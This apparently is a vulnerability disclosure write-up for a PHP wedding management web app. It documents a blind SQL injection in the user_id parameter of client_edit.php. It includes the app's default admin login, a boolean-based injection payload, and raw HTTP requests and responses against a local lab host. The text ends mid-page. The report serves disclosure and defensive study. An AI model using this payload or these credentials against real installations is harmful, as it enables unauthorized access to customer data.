

main

...

bug_report / vendors / codeastro.com / wedding-management-system / SQLi-10.md



debug601 Update SQLi-10.md

History

1 contributor

40 lines (25 sloc) | 1.58 KB

...

Wedding Management System v1.0 by codeastr.com has SQL injection

Author: k0xx

The password for the backend login account is: admin@mail.com/Password@123

vendors: <https://codeastro.com/wedding-management-system-in-php-with-source-code/>

Vulnerability File: /Wedding-Management/admin/client_edit.php?booking=31&user_id=

Vulnerability location: /Wedding-Management/admin/client_edit.php?
booking=31&user_id=,user_id

[+] Payload: /Wedding-Management/admin/client_edit.php?
booking=31&user_id=31%20and%20length%20(database())%20=9 // Leak place --->
user_id

Current database name: dbwedding,length is 9

```
GET /Wedding-Management/admin/client_edit.php?booking=31&user_id=31%20and%20length%20(database())%20=9
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99
Connection: close

When length (database ()) = 8, Content-Length: 14701

```
GET /Wedding-Management/admin/client_edit.php?booking=31&user_id=31%20and%20length%20(database())%20=8 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99
Connection: close

HTTP/1.1 200 OK
Date: Thu, 12 May 2022 04:27:08 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14701
```

Load URL http://192.168.1.19/Wedding-Management/admin/client_edit.php?booking=31&user_id=31 and length (database()) =8

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace All

WPMS Admin Panel

Liam Moore
Administrator

- Dashboard
- Blogs & Events
- Clients
- Services
- Gallery
- Upload Photos
- User Management

Edit Client Information

[Edit Customer](#)

Firstname	Lastname
<input type="text" value="Warning: Attempt to read property C:\xampp\htdocs\Wedding-Management\admin\client_edit.php on line 108"/>	<input type="text" value="Warning: Attempt to read property C:\xampp\htdocs\Wedding-Management\admin\client_edit.php on line 113"/>
<input type="text" value="placeholder='Enter firstname'"/>	<input type="text" value="placeholder='Enter lastname'"/>
Email	
<input type="text" value="aaront@mail.com"/>	
Wedding Date	Wedding Type
<input type="text"/>	<input type="text"/>

When length (database ()) = 9, Content-Length: 14095

```
GET /Wedding-Management/admin/client_edit.php?booking=31&user_id=31%20and%20length%20(database())%20=9 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99
Connection: close

HTTP/1.1 200 OK
Date: Thu, 12 May 2022 04:26:03 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14095
```

Load URL

Split URL

Execute

http://192.168.1.19/Wedding-Management/admin/client_edit.php?booking=31&user_id=31 and length (database()) =9|

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

☒ Replace All

WPMS Admin Panel

Liam Moore
Administrator

Dashboard

Blogs & Events

Clients

Services

Gallery

Upload Photos

User Management

Edit Client Information

Edit Customer

Cancel

Firstname

Aaron

Lastname

Turner

Email

aaront@mail.com

Wedding Date

05/09/2022

Wedding Type

Gold - 39,500

Bride's name